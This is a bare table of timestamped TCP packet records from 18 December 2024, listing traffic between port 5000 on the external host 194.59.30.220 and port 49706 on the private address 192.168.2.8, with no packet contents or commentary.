Dec 18, 2024 11:56:25.208168983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.208214998 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.211453915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211467028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211478949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211491108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211503029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211517096 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.211515903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.211541891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.211563110 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.212136984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.212308884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.212352991 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.213145018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.213318110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.213366032 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.213989973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.214298964 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.214358091 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.214798927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.214968920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.215018034 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.215689898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.215873957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.215924978 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.216674089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.216836929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.216882944 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.217758894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.217772961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.217824936 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.218319893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.218559027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.218601942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.219444036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.219458103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.219502926 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.220402956 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.220416069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.220459938 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.221278906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.221301079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.221348047 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.222132921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.222145081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.222184896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.222970009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.223135948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.223181009 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.223831892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.224003077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.224050045 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.224806070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.224988937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.225034952 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.225663900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.225836039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.225878954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.226536036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.226562977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.226610899 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.226977110 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.227123022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.227166891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.227801085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.227926016 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.227974892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.228810072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.228929043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.228971004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.229743004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.229796886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.229844093 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.230657101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.230853081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.230895042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.234335899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234353065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234373093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234389067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234406948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234406948 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.234424114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234431982 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.234457016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.234668970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234854937 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.234896898 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.235658884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.235821009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.235862017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.236470938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.236537933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.236573935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.236793041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.236871004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.236912012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.237696886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.237757921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.237801075 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.238873959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.239046097 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.239089012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.239546061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.239658117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.239697933 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.240398884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.240514994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.240562916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.241266012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.241286993 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.241331100 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.242289066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.242312908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.242364883 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.243083954 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.243339062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.243383884 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.244133949 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.244241953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.244286060 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.244997025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.245086908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.245134115 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.245845079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.246057987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.246113062 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.246773958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.246876001 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.246927023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.247649908 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.247756004 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.247800112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.248742104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.257216930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.257270098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.257302046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.257591009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.257638931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.257796049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.258577108 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.258621931 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.258708000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.259589911 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.259634018 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.395653963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.395762920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.395853043 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.395981073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.396197081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.396251917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.396336079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.397185087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.397233963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.397290945 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.398057938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.398107052 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.398262978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.399113894 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.399163008 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.399240971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.399848938 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.399897099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.400022984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.400718927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.400757074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.400765896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.401465893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.401547909 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.401551008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.402255058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.402308941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.402339935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.403170109 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.403220892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.403256893 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.404082060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.404139042 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.404164076 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.404942989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.405023098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.405097008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.405862093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.405925035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.406024933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.406759977 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.406814098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.406836987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.407675982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.407731056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.407874107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.408653021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.408699036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.408706903 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.409543991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.409601927 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.409670115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.410412073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.410427094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.410464048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.411273003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.411333084 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.411364079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.412177086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.412230968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.412641048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.413037062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.413084030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.413348913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.414103031 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.414153099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.414896965 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.415240049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.415252924 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.415288925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.416595936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.416645050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.416676998 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.417536974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.417584896 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.417623043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.418741941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.418783903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.418793917 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.419922113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.419970989 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.419984102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.420649052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.420696020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.420783043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.421745062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.421789885 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.421952009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.422758102 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.422800064 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.422837973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.423578024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.423619986 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.423641920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.424393892 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.424436092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.424496889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.425204039 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.425251007 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.425331116 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.426059961 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.426100016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.426249027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.427016973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.427057028 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.427205086 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.427846909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.427911997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.428234100 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.429280043 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.429327965 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.429398060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.430324078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.430366039 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.430432081 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.431180000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.431195021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.431222916 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.432080984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.432121038 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.432180882 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.432549953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.432586908 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.432641983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.433363914 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.433406115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.433409929 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.434272051 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.434317112 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.434350967 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.435185909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.435228109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.435364008 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.436031103 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.436072111 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.436136007 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.436888933 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.436933994 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.436979055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.437812090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.437853098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.437926054 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.438899994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.438915014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.438941956 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.439816952 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.439877033 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.439908028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.440809011 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.440844059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.440861940 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.448260069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.448311090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.448400974 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.448612928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.448662996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.448741913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.449549913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.449596882 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.449605942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.450413942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.450462103 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.587986946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.588047028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.588136911 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.588335991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.588440895 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.588495016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.589155912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.589274883 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.589329004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.590049028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.590353012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.590405941 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.590441942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.591387033 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.591444016 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.591509104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.592587948 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.592643976 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.592709064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.593600988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.593657017 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.593837976 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.594527006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.594582081 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.594666004 CET	5000	49706	194.59.30.220	192.168.2.8
